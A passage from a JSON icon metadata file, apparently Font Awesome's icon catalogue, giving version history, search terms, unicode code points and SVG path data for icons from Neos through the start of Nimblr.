        "path": "M298.3 373.6c-14.2 13.6-31.3 24.1-50.4 30.5-19-6.4-36.2-16.9-50.3-30.5h100.7zm44-199.6c20-16.9 43.6-29.2 69.6-36.2V299c0 219.4-328 217.6-328 .3V137.7c25.9 6.9 49.6 19.6 69.5 36.4 56.8-40 132.5-39.9 188.9-.1zm-208.8-58.5c64.4-60 164.3-60.1 228.9-.2-7.1 3.5-13.9 7.3-20.6 11.5-58.7-30.5-129.2-30.4-187.9.1-6.3-4-13.9-8.2-20.4-11.4zM43.8 93.2v69.3c-58.4 36.5-58.4 121.1.1 158.3 26.4 245.1 381.7 240.3 407.6 1.5l.3-1.7c58.7-36.3 58.9-121.7.2-158.2V93.2c-17.3.5-34 3-50.1 7.4-82-91.5-225.5-91.5-307.5.1-16.3-4.4-33.1-7-50.6-7.5zM259.2 352s36-.3 61.3-1.5c10.2-.5 21.1-4 25.5-6.5 26.3-15.1 25.4-39.2 26.2-47.4-79.5-.6-99.9-3.9-113 55.4zm-135.5-55.3c.8 8.2-.1 32.3 26.2 47.4 4.4 2.5 15.2 6 25.5 6.5 25.3 1.1 61.3 1.5 61.3 1.5-13.2-59.4-33.7-56.1-113-55.4zm169.1 123.4c-3.2-5.3-6.9-7.3-6.9-7.3-24.8 7.3-52.2 6.9-75.9 0 0 0-2.9 1.5-6.4 6.6-2.8 4.1-3.7 9.6-3.7 9.6 29.1 17.6 67.1 17.6 96.2 0-.1-.1-.3-4-3.3-8.9z"
      }
    },
    "free": ["brands"]
  },
  "neos": {
    "changes": ["5.2.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f612",
    "label": "Neos",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M415.44 512h-95.11L212.12 357.46v91.1L125.69 512H28V29.82L68.47 0h108.05l123.74 176.13V63.45L386.69 0h97.69v461.5zM38.77 35.27V496l72-52.88V194l215.5 307.64h84.79l52.35-38.17h-78.27L69 13zm82.54 466.61l80-58.78v-101l-79.76-114.4v220.94L49 501.89h72.34zM80.63 10.77l310.6 442.57h82.37V10.77h-79.75v317.56L170.91 10.77zM311 191.65l72 102.81V15.93l-72 53v122.72z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M415.44 512h-95.11L212.12 357.46v91.1L125.69 512H28V29.82L68.47 0h108.05l123.74 176.13V63.45L386.69 0h97.69v461.5zM38.77 35.27V496l72-52.88V194l215.5 307.64h84.79l52.35-38.17h-78.27L69 13zm82.54 466.61l80-58.78v-101l-79.76-114.4v220.94L49 501.89h72.34zM80.63 10.77l310.6 442.57h82.37V10.77h-79.75v317.56L170.91 10.77zM311 191.65l72 102.81V15.93l-72 53v122.72z"
      }
    },
    "free": ["brands"]
  },
  "network-wired": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f6ff"]
      }
    },
    "changes": ["5.4.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["computer", "connect", "ethernet", "internet", "intranet"]
    },
    "styles": ["solid"],
    "unicode": "f6ff",
    "label": "Network Wired",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M256 64H384v64H256V64zM240 0c-26.5 0-48 21.5-48 48v96c0 26.5 21.5 48 48 48h48v32H32c-17.7 0-32 14.3-32 32s14.3 32 32 32h96v32H80c-26.5 0-48 21.5-48 48v96c0 26.5 21.5 48 48 48H240c26.5 0 48-21.5 48-48V368c0-26.5-21.5-48-48-48H192V288H448v32H400c-26.5 0-48 21.5-48 48v96c0 26.5 21.5 48 48 48H560c26.5 0 48-21.5 48-48V368c0-26.5-21.5-48-48-48H512V288h96c17.7 0 32-14.3 32-32s-14.3-32-32-32H352V192h48c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48H240zM96 448V384H224v64H96zm320-64H544v64H416V384z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M256 64H384v64H256V64zM240 0c-26.5 0-48 21.5-48 48v96c0 26.5 21.5 48 48 48h48v32H32c-17.7 0-32 14.3-32 32s14.3 32 32 32h96v32H80c-26.5 0-48 21.5-48 48v96c0 26.5 21.5 48 48 48H240c26.5 0 48-21.5 48-48V368c0-26.5-21.5-48-48-48H192V288H448v32H400c-26.5 0-48 21.5-48 48v96c0 26.5 21.5 48 48 48H560c26.5 0 48-21.5 48-48V368c0-26.5-21.5-48-48-48H512V288h96c17.7 0 32-14.3 32-32s-14.3-32-32-32H352V192h48c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48H240zM96 448V384H224v64H96zm320-64H544v64H416V384z"
      }
    },
    "free": ["solid"]
  },
  "neuter": {
    "aliases": {
      "unicodes": {
        "composite": ["26b2"],
        "secondary": ["10f22c"]
      }
    },
    "changes": [
      "4.3.0",
      "5.0.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Neuter", "gender"]
    },
    "styles": ["solid"],
    "unicode": "f22c",
    "label": "Neuter",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M80 176a112 112 0 1 1 224 0A112 112 0 1 1 80 176zM224 349.1c81.9-15 144-86.8 144-173.1C368 78.8 289.2 0 192 0S16 78.8 16 176c0 86.3 62.1 158.1 144 173.1V480c0 17.7 14.3 32 32 32s32-14.3 32-32V349.1z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M80 176a112 112 0 1 1 224 0A112 112 0 1 1 80 176zM224 349.1c81.9-15 144-86.8 144-173.1C368 78.8 289.2 0 192 0S16 78.8 16 176c0 86.3 62.1 158.1 144 173.1V480c0 17.7 14.3 32 32 32s32-14.3 32-32V349.1z"
      }
    },
    "free": ["solid"]
  },
  "newspaper": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4f0"],
        "secondary": ["10f1ea"]
      }
    },
    "changes": ["4.2.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "article",
        "editorial",
        "headline",
        "journal",
        "journalism",
        "news",
        "newspaper",
        "paper",
        "press"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f1ea",
    "label": "Newspaper",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M96 96c0-35.3 28.7-64 64-64H448c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H80c-44.2 0-80-35.8-80-80V128c0-17.7 14.3-32 32-32s32 14.3 32 32V400c0 8.8 7.2 16 16 16s16-7.2 16-16V96zm64 24v80c0 13.3 10.7 24 24 24H296c13.3 0 24-10.7 24-24V120c0-13.3-10.7-24-24-24H184c-13.3 0-24 10.7-24 24zm208-8c0 8.8 7.2 16 16 16h48c8.8 0 16-7.2 16-16s-7.2-16-16-16H384c-8.8 0-16 7.2-16 16zm0 96c0 8.8 7.2 16 16 16h48c8.8 0 16-7.2 16-16s-7.2-16-16-16H384c-8.8 0-16 7.2-16 16zM160 304c0 8.8 7.2 16 16 16H432c8.8 0 16-7.2 16-16s-7.2-16-16-16H176c-8.8 0-16 7.2-16 16zm0 96c0 8.8 7.2 16 16 16H432c8.8 0 16-7.2 16-16s-7.2-16-16-16H176c-8.8 0-16 7.2-16 16z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M96 96c0-35.3 28.7-64 64-64H448c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H80c-44.2 0-80-35.8-80-80V128c0-17.7 14.3-32 32-32s32 14.3 32 32V400c0 8.8 7.2 16 16 16s16-7.2 16-16V96zm64 24v80c0 13.3 10.7 24 24 24H296c13.3 0 24-10.7 24-24V120c0-13.3-10.7-24-24-24H184c-13.3 0-24 10.7-24 24zm208-8c0 8.8 7.2 16 16 16h48c8.8 0 16-7.2 16-16s-7.2-16-16-16H384c-8.8 0-16 7.2-16 16zm0 96c0 8.8 7.2 16 16 16h48c8.8 0 16-7.2 16-16s-7.2-16-16-16H384c-8.8 0-16 7.2-16 16zM160 304c0 8.8 7.2 16 16 16H432c8.8 0 16-7.2 16-16s-7.2-16-16-16H176c-8.8 0-16 7.2-16 16zm0 96c0 8.8 7.2 16 16 16H432c8.8 0 16-7.2 16-16s-7.2-16-16-16H176c-8.8 0-16 7.2-16 16z"
      },
      "regular": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M168 80c-13.3 0-24 10.7-24 24V408c0 8.4-1.4 16.5-4.1 24H440c13.3 0 24-10.7 24-24V104c0-13.3-10.7-24-24-24H168zM72 480c-39.8 0-72-32.2-72-72V112C0 98.7 10.7 88 24 88s24 10.7 24 24V408c0 13.3 10.7 24 24 24s24-10.7 24-24V104c0-39.8 32.2-72 72-72H440c39.8 0 72 32.2 72 72V408c0 39.8-32.2 72-72 72H72zM176 136c0-13.3 10.7-24 24-24h96c13.3 0 24 10.7 24 24v80c0 13.3-10.7 24-24 24H200c-13.3 0-24-10.7-24-24V136zm200-24h32c13.3 0 24 10.7 24 24s-10.7 24-24 24H376c-13.3 0-24-10.7-24-24s10.7-24 24-24zm0 80h32c13.3 0 24 10.7 24 24s-10.7 24-24 24H376c-13.3 0-24-10.7-24-24s10.7-24 24-24zM200 272H408c13.3 0 24 10.7 24 24s-10.7 24-24 24H200c-13.3 0-24-10.7-24-24s10.7-24 24-24zm0 80H408c13.3 0 24 10.7 24 24s-10.7 24-24 24H200c-13.3 0-24-10.7-24-24s10.7-24 24-24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M168 80c-13.3 0-24 10.7-24 24V408c0 8.4-1.4 16.5-4.1 24H440c13.3 0 24-10.7 24-24V104c0-13.3-10.7-24-24-24H168zM72 480c-39.8 0-72-32.2-72-72V112C0 98.7 10.7 88 24 88s24 10.7 24 24V408c0 13.3 10.7 24 24 24s24-10.7 24-24V104c0-39.8 32.2-72 72-72H440c39.8 0 72 32.2 72 72V408c0 39.8-32.2 72-72 72H72zM176 136c0-13.3 10.7-24 24-24h96c13.3 0 24 10.7 24 24v80c0 13.3-10.7 24-24 24H200c-13.3 0-24-10.7-24-24V136zm200-24h32c13.3 0 24 10.7 24 24s-10.7 24-24 24H376c-13.3 0-24-10.7-24-24s10.7-24 24-24zm0 80h32c13.3 0 24 10.7 24 24s-10.7 24-24 24H376c-13.3 0-24-10.7-24-24s10.7-24 24-24zM200 272H408c13.3 0 24 10.7 24 24s-10.7 24-24 24H200c-13.3 0-24-10.7-24-24s10.7-24 24-24zm0 80H408c13.3 0 24 10.7 24 24s-10.7 24-24 24H200c-13.3 0-24-10.7-24-24s10.7-24 24-24z"
      }
    },
    "free": ["regular", "solid"]
  },
  "nfc-directional": {
    "changes": ["6.1.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "connect",
        "data",
        "near field communication",
        "nfc",
        "scan",
        "signal",
        "transfer",
        "wireless"
      ]
    },
    "styles": ["brands"],
    "unicode": "e530",
    "label": "NFC Directional",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M211.8 488.6C213.4 491.1 213.9 494.2 213.2 497.1C212.6 500 210.8 502.6 208.3 504.2C205.7 505.8 202.7 506.3 199.7 505.7C138.3 491.8 84.1 455.8 47.53 404.5C10.97 353.2-5.395 290.3 1.57 227.7C8.536 165 38.34 107.2 85.29 65.21C132.2 23.2 193-.0131 256 0C257.5 0 258.1 .2931 260.3 .8627C261.7 1.432 262.1 2.267 264 3.319C265.1 4.371 265.9 5.619 266.5 6.993C267 8.367 267.3 9.839 267.3 11.32V112.3L291.8 86.39C292.8 85.31 294 84.44 295.4 83.84C296.7 83.23 298.2 82.9 299.7 82.86C301.2 82.81 302.6 83.06 304 83.59C305.4 84.12 306.7 84.92 307.8 85.94C308.8 86.96 309.7 88.18 310.3 89.54C310.9 90.89 311.3 92.35 311.3 93.84C311.3 95.32 311.1 96.8 310.6 98.18C310 99.57 309.2 100.8 308.2 101.9L264.2 148.5C263.1 149.6 261.9 150.5 260.5 151.1C259 151.7 257.5 152 255.1 152C254.5 152 252.9 151.7 251.5 151.1C250.1 150.5 248.8 149.6 247.8 148.5L203.7 101.9C201.7 99.74 200.6 96.83 200.7 93.84C200.7 90.84 202 87.1 204.2 85.94C206.4 83.88 209.3 82.77 212.3 82.86C215.3 82.94 218.1 84.21 220.2 86.39L244.7 112.4V22.89C188.3 25.64 134.9 48.73 94.23 87.87C53.58 127 28.49 179.6 23.61 235.8C18.73 292 34.38 348.1 67.68 393.7C100.1 439.2 149.7 471.2 204.7 483.6C207.6 484.3 210.2 486.1 211.8 488.6L211.8 488.6zM171.4 126.1C170.6 127.4 169.5 128.5 168.3 129.3C147.8 143.2 131.1 161.9 119.5 183.8C107.9 205.7 101.8 230.1 101.8 254.9C101.8 279.7 107.9 304.1 119.5 325.1C131.1 347.9 147.8 366.6 168.3 380.5C170.8 382.2 172.5 384.8 173 387.8C173.6 390.7 172.1 393.8 171.3 396.2C169.6 398.7 166.1 400.4 164 400.1C161.1 401.5 158 400.9 155.6 399.2C132 383.2 112.8 361.7 99.46 336.5C86.15 311.4 79.19 283.4 79.19 254.9C79.19 226.5 86.15 198.4 99.46 173.3C112.8 148.1 132 126.6 155.6 110.6C156.8 109.8 158.2 109.2 159.6 108.8C161.1 108.5 162.6 108.5 164.1 108.8C165.5 109 166.9 109.6 168.2 110.4C169.5 111.2 170.5 112.3 171.4 113.5C172.2 114.7 172.8 116.1 173.1 117.6C173.4 119.1 173.4 120.6 173.1 122C172.8 123.5 172.3 124.9 171.4 126.1H171.4zM340.9 383.5C341.7 382.3 342.8 381.2 343.1 380.4V380.3C364.4 366.3 381.1 347.6 392.7 325.7C404.2 303.9 410.2 279.5 410.2 254.8C410.2 230.1 404.2 205.7 392.7 183.8C381.1 161.1 364.4 143.3 343.1 129.3C342.8 128.5 341.7 127.4 340.9 126.2C340.1 124.9 339.5 123.5 339.3 122.1C338.1 120.6 339 119.1 339.3 117.7C339.6 116.2 340.2 114.8 341 113.6C341.9 112.4 342.1 111.3 344.2 110.5C345.4 109.7 346.8 109.2 348.3 108.9C349.8 108.6 351.2 108.6 352.7 108.9C354.2 109.2 355.5 109.8 356.8 110.7C380.2 126.7 399.5 148.2 412.7 173.3C426 198.4 432.1 226.4 432.1 254.8C432.1 283.3 426 311.3 412.7 336.4C399.5 361.5 380.2 383 356.8 399C355.5 399.9 354.2 400.5 352.7 400.8C351.2 401.1 349.8 401.1 348.3 400.8C346.8 400.5 345.4 399.1 344.2 399.2C342.1 398.4 341.9 397.3 341 396.1C340.2 394.9 339.6 393.5 339.3 392C339 390.6 338.1 389.1 339.3 387.6C339.5 386.2 340.1 384.8 340.9 383.5V383.5zM312.3 6.307C368.5 19.04 418.7 50.28 455 95.01C485.4 132.6 504.6 178 510.3 226C515.9 274 507.9 322.7 487.1 366.3C466.2 409.9 433.5 446.8 392.6 472.6C351.7 498.3 304.4 512 256 512C254.5 512 253.1 511.7 251.7 511.1C250.3 510.6 249.1 509.7 248 508.7C246.1 507.6 246.1 506.4 245.6 505C245 503.6 244.7 502.2 244.7 500.7V401.5L220.2 427.5C218.1 429.7 215.3 430.1 212.3 431.1C209.3 431.2 206.4 430 204.2 427.1C202 425.9 200.7 423.1 200.7 420.1C200.6 417.1 201.7 414.2 203.7 412L247.8 365.4C249.1 363.2 252.9 362 255.1 362C259.1 362 262 363.2 264.2 365.4L308.2 412C310.3 414.2 311.4 417.1 311.3 420.1C311.2 423.1 309.9 425.9 307.8 427.1C305.6 430 302.7 431.2 299.7 431.1C296.7 430.1 293.8 429.7 291.8 427.5L267.3 401.6V489.1C323.7 486.3 377.1 463.3 417.8 424.1C458.5 384.1 483.6 332.4 488.5 276.2C493.3 219.1 477.7 163.9 444.4 118.3C411.1 72.75 362.4 40.79 307.4 28.36C305.9 28.03 304.6 27.42 303.3 26.57C302.1 25.71 301.1 24.63 300.3 23.37C299.5 22.12 298.1 20.72 298.7 19.26C298.5 17.8 298.5 16.3 298.8 14.85C299.2 13.41 299.8 12.04 300.6 10.82C301.5 9.61 302.6 8.577 303.8 7.784C305.1 6.99 306.5 6.451 307.9 6.198C309.4 5.945 310.9 5.982 312.3 6.307L312.3 6.307zM353.1 256.1C353.1 287.5 335.6 317.2 303.8 339.6C301.7 341.1 299 341.9 296.4 341.6C293.7 341.4 291.2 340.3 289.4 338.4L219.3 268.6C217.1 266.5 215.1 263.6 215.9 260.6C215.9 257.6 217.1 254.7 219.2 252.6C221.4 250.5 224.2 249.3 227.2 249.3C230.2 249.3 233.1 250.5 235.2 252.6L298.3 315.4C319.1 298.3 330.5 277.5 330.5 256.1C330.5 232.2 316.4 209.1 290.8 191C288.3 189.3 286.7 186.7 286.2 183.7C285.7 180.8 286.3 177.7 288.1 175.3C289.8 172.8 292.4 171.2 295.4 170.7C298.3 170.2 301.4 170.8 303.8 172.6C335.6 195 353.1 224.7 353.1 256.1V256.1zM216.7 341.5C213.7 342 210.7 341.3 208.2 339.6C176.5 317.2 158.1 287.5 158.1 256.1C158.1 224.7 176.5 195 208.2 172.6C210.4 171 213.1 170.3 215.7 170.5C218.4 170.8 220.8 171.9 222.7 173.8L292.8 243.6C294.9 245.7 296.1 248.6 296.1 251.6C296.1 254.6 294.1 257.4 292.8 259.6C290.7 261.7 287.8 262.9 284.9 262.9C281.9 262.9 278.1 261.7 276.9 259.6L213.8 196.7C192.9 214 181.6 234.7 181.6 256.1C181.6 279.1 195.7 303.1 221.3 321.1C223.7 322.9 225.4 325.5 225.9 328.5C226.4 331.4 225.7 334.4 224 336.9C222.3 339.3 219.6 341 216.7 341.5L216.7 341.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M211.8 488.6C213.4 491.1 213.9 494.2 213.2 497.1C212.6 500 210.8 502.6 208.3 504.2C205.7 505.8 202.7 506.3 199.7 505.7C138.3 491.8 84.1 455.8 47.53 404.5C10.97 353.2-5.395 290.3 1.57 227.7C8.536 165 38.34 107.2 85.29 65.21C132.2 23.2 193-.0131 256 0C257.5 0 258.1 .2931 260.3 .8627C261.7 1.432 262.1 2.267 264 3.319C265.1 4.371 265.9 5.619 266.5 6.993C267 8.367 267.3 9.839 267.3 11.32V112.3L291.8 86.39C292.8 85.31 294 84.44 295.4 83.84C296.7 83.23 298.2 82.9 299.7 82.86C301.2 82.81 302.6 83.06 304 83.59C305.4 84.12 306.7 84.92 307.8 85.94C308.8 86.96 309.7 88.18 310.3 89.54C310.9 90.89 311.3 92.35 311.3 93.84C311.3 95.32 311.1 96.8 310.6 98.18C310 99.57 309.2 100.8 308.2 101.9L264.2 148.5C263.1 149.6 261.9 150.5 260.5 151.1C259 151.7 257.5 152 255.1 152C254.5 152 252.9 151.7 251.5 151.1C250.1 150.5 248.8 149.6 247.8 148.5L203.7 101.9C201.7 99.74 200.6 96.83 200.7 93.84C200.7 90.84 202 87.1 204.2 85.94C206.4 83.88 209.3 82.77 212.3 82.86C215.3 82.94 218.1 84.21 220.2 86.39L244.7 112.4V22.89C188.3 25.64 134.9 48.73 94.23 87.87C53.58 127 28.49 179.6 23.61 235.8C18.73 292 34.38 348.1 67.68 393.7C100.1 439.2 149.7 471.2 204.7 483.6C207.6 484.3 210.2 486.1 211.8 488.6L211.8 488.6zM171.4 126.1C170.6 127.4 169.5 128.5 168.3 129.3C147.8 143.2 131.1 161.9 119.5 183.8C107.9 205.7 101.8 230.1 101.8 254.9C101.8 279.7 107.9 304.1 119.5 325.1C131.1 347.9 147.8 366.6 168.3 380.5C170.8 382.2 172.5 384.8 173 387.8C173.6 390.7 172.1 393.8 171.3 396.2C169.6 398.7 166.1 400.4 164 400.1C161.1 401.5 158 400.9 155.6 399.2C132 383.2 112.8 361.7 99.46 336.5C86.15 311.4 79.19 283.4 79.19 254.9C79.19 226.5 86.15 198.4 99.46 173.3C112.8 148.1 132 126.6 155.6 110.6C156.8 109.8 158.2 109.2 159.6 108.8C161.1 108.5 162.6 108.5 164.1 108.8C165.5 109 166.9 109.6 168.2 110.4C169.5 111.2 170.5 112.3 171.4 113.5C172.2 114.7 172.8 116.1 173.1 117.6C173.4 119.1 173.4 120.6 173.1 122C172.8 123.5 172.3 124.9 171.4 126.1H171.4zM340.9 383.5C341.7 382.3 342.8 381.2 343.1 380.4V380.3C364.4 366.3 381.1 347.6 392.7 325.7C404.2 303.9 410.2 279.5 410.2 254.8C410.2 230.1 404.2 205.7 392.7 183.8C381.1 161.1 364.4 143.3 343.1 129.3C342.8 128.5 341.7 127.4 340.9 126.2C340.1 124.9 339.5 123.5 339.3 122.1C338.1 120.6 339 119.1 339.3 117.7C339.6 116.2 340.2 114.8 341 113.6C341.9 112.4 342.1 111.3 344.2 110.5C345.4 109.7 346.8 109.2 348.3 108.9C349.8 108.6 351.2 108.6 352.7 108.9C354.2 109.2 355.5 109.8 356.8 110.7C380.2 126.7 399.5 148.2 412.7 173.3C426 198.4 432.1 226.4 432.1 254.8C432.1 283.3 426 311.3 412.7 336.4C399.5 361.5 380.2 383 356.8 399C355.5 399.9 354.2 400.5 352.7 400.8C351.2 401.1 349.8 401.1 348.3 400.8C346.8 400.5 345.4 399.1 344.2 399.2C342.1 398.4 341.9 397.3 341 396.1C340.2 394.9 339.6 393.5 339.3 392C339 390.6 338.1 389.1 339.3 387.6C339.5 386.2 340.1 384.8 340.9 383.5V383.5zM312.3 6.307C368.5 19.04 418.7 50.28 455 95.01C485.4 132.6 504.6 178 510.3 226C515.9 274 507.9 322.7 487.1 366.3C466.2 409.9 433.5 446.8 392.6 472.6C351.7 498.3 304.4 512 256 512C254.5 512 253.1 511.7 251.7 511.1C250.3 510.6 249.1 509.7 248 508.7C246.1 507.6 246.1 506.4 245.6 505C245 503.6 244.7 502.2 244.7 500.7V401.5L220.2 427.5C218.1 429.7 215.3 430.1 212.3 431.1C209.3 431.2 206.4 430 204.2 427.1C202 425.9 200.7 423.1 200.7 420.1C200.6 417.1 201.7 414.2 203.7 412L247.8 365.4C249.1 363.2 252.9 362 255.1 362C259.1 362 262 363.2 264.2 365.4L308.2 412C310.3 414.2 311.4 417.1 311.3 420.1C311.2 423.1 309.9 425.9 307.8 427.1C305.6 430 302.7 431.2 299.7 431.1C296.7 430.1 293.8 429.7 291.8 427.5L267.3 401.6V489.1C323.7 486.3 377.1 463.3 417.8 424.1C458.5 384.1 483.6 332.4 488.5 276.2C493.3 219.1 477.7 163.9 444.4 118.3C411.1 72.75 362.4 40.79 307.4 28.36C305.9 28.03 304.6 27.42 303.3 26.57C302.1 25.71 301.1 24.63 300.3 23.37C299.5 22.12 298.1 20.72 298.7 19.26C298.5 17.8 298.5 16.3 298.8 14.85C299.2 13.41 299.8 12.04 300.6 10.82C301.5 9.61 302.6 8.577 303.8 7.784C305.1 6.99 306.5 6.451 307.9 6.198C309.4 5.945 310.9 5.982 312.3 6.307L312.3 6.307zM353.1 256.1C353.1 287.5 335.6 317.2 303.8 339.6C301.7 341.1 299 341.9 296.4 341.6C293.7 341.4 291.2 340.3 289.4 338.4L219.3 268.6C217.1 266.5 215.1 263.6 215.9 260.6C215.9 257.6 217.1 254.7 219.2 252.6C221.4 250.5 224.2 249.3 227.2 249.3C230.2 249.3 233.1 250.5 235.2 252.6L298.3 315.4C319.1 298.3 330.5 277.5 330.5 256.1C330.5 232.2 316.4 209.1 290.8 191C288.3 189.3 286.7 186.7 286.2 183.7C285.7 180.8 286.3 177.7 288.1 175.3C289.8 172.8 292.4 171.2 295.4 170.7C298.3 170.2 301.4 170.8 303.8 172.6C335.6 195 353.1 224.7 353.1 256.1V256.1zM216.7 341.5C213.7 342 210.7 341.3 208.2 339.6C176.5 317.2 158.1 287.5 158.1 256.1C158.1 224.7 176.5 195 208.2 172.6C210.4 171 213.1 170.3 215.7 170.5C218.4 170.8 220.8 171.9 222.7 173.8L292.8 243.6C294.9 245.7 296.1 248.6 296.1 251.6C296.1 254.6 294.1 257.4 292.8 259.6C290.7 261.7 287.8 262.9 284.9 262.9C281.9 262.9 278.1 261.7 276.9 259.6L213.8 196.7C192.9 214 181.6 234.7 181.6 256.1C181.6 279.1 195.7 303.1 221.3 321.1C223.7 322.9 225.4 325.5 225.9 328.5C226.4 331.4 225.7 334.4 224 336.9C222.3 339.3 219.6 341 216.7 341.5L216.7 341.5z"
      }
    },
    "free": ["brands"]
  },
  "nfc-symbol": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "connect",
        "data",
        "near field communication",
        "nfc",
        "scan",
        "signal",
        "transfer",
        "wireless"
      ]
    },
    "styles": ["brands"],
    "unicode": "e531",
    "label": "Nfc Symbol",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M392.9 32.43C400.6 31.1 408.6 32.89 414.1 37.41C498.2 96.14 544 173.7 544 255.1C544 338.2 498.2 415.9 414.1 474.6C409.3 478.6 402.4 480.5 395.5 479.9C388.5 479.3 382 476.3 377.1 471.4L193.7 288.7C188.1 283.2 185 275.7 184.1 267.8C184.1 260 188.1 252.5 193.6 246.9C199.2 241.4 206.7 238.2 214.5 238.2C222.4 238.2 229.9 241.3 235.4 246.8L400.5 411.2C455.1 366.5 484.8 312 484.8 255.1C484.8 193.5 447.9 132.9 380.9 85.76C374.5 81.24 370.1 74.35 368.8 66.62C367.4 58.89 369.2 50.94 373.8 44.53C378.3 38.12 385.2 33.77 392.9 32.43V32.43zM186.9 479.6C179.2 480.9 171.3 479.1 164.8 474.6C81.67 415.9 35.84 338.2 35.84 255.1C35.84 173.7 81.67 96.14 164.8 37.41C170.5 33.4 177.4 31.53 184.4 32.12C191.3 32.71 197.8 35.72 202.7 40.63L386.1 223.3C391.7 228.8 394.8 236.3 394.8 244.2C394.9 251.1 391.8 259.5 386.2 265.1C380.7 270.6 373.2 273.8 365.3 273.8C357.5 273.8 349.1 270.7 344.4 265.2L179.3 100.7C124.7 145.9 95.03 199.9 95.03 255.1C95.03 318.5 131.9 379.1 198.1 426.2C205.4 430.8 209.7 437.6 211.1 445.4C212.4 453.1 210.6 461.1 206.1 467.5C201.6 473.9 194.7 478.2 186.9 479.6V479.6z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M392.9 32.43C400.6 31.1 408.6 32.89 414.1 37.41C498.2 96.14 544 173.7 544 255.1C544 338.2 498.2 415.9 414.1 474.6C409.3 478.6 402.4 480.5 395.5 479.9C388.5 479.3 382 476.3 377.1 471.4L193.7 288.7C188.1 283.2 185 275.7 184.1 267.8C184.1 260 188.1 252.5 193.6 246.9C199.2 241.4 206.7 238.2 214.5 238.2C222.4 238.2 229.9 241.3 235.4 246.8L400.5 411.2C455.1 366.5 484.8 312 484.8 255.1C484.8 193.5 447.9 132.9 380.9 85.76C374.5 81.24 370.1 74.35 368.8 66.62C367.4 58.89 369.2 50.94 373.8 44.53C378.3 38.12 385.2 33.77 392.9 32.43V32.43zM186.9 479.6C179.2 480.9 171.3 479.1 164.8 474.6C81.67 415.9 35.84 338.2 35.84 255.1C35.84 173.7 81.67 96.14 164.8 37.41C170.5 33.4 177.4 31.53 184.4 32.12C191.3 32.71 197.8 35.72 202.7 40.63L386.1 223.3C391.7 228.8 394.8 236.3 394.8 244.2C394.9 251.1 391.8 259.5 386.2 265.1C380.7 270.6 373.2 273.8 365.3 273.8C357.5 273.8 349.1 270.7 344.4 265.2L179.3 100.7C124.7 145.9 95.03 199.9 95.03 255.1C95.03 318.5 131.9 379.1 198.1 426.2C205.4 430.8 209.7 437.6 211.1 445.4C212.4 453.1 210.6 461.1 206.1 467.5C201.6 473.9 194.7 478.2 186.9 479.6V479.6z"
      }
    },
    "free": ["brands"]
  },
  "nimblr": {
    "changes": ["5.1.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f5a8",
    "label": "Nimblr",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014479,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M246.6 299.29c15.57 0 27.15 11.46 27.15 27s-11.62 27-27.15 27c-15.7 0-27.15-11.57-27.15-27s11.55-27 27.15-27zM113 326.25c0-15.61 11.68-27 27.15-27s27.15 11.46 27.15 27-11.47 27-27.15 27c-15.44 0-27.15-11.31-27.15-27M191.76 159C157 159 89.45 178.77 59.25 227L14 0v335.48C14 433.13 93.61 512 191.76 512s177.76-78.95 177.76-176.52S290.13 159 191.76 159zm0 308.12c-73.27 0-132.51-58.9-132.51-131.59s59.24-131.59 132.51-131.59 132.51 58.86 132.51 131.54S265 467.07 191.76 467.07z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
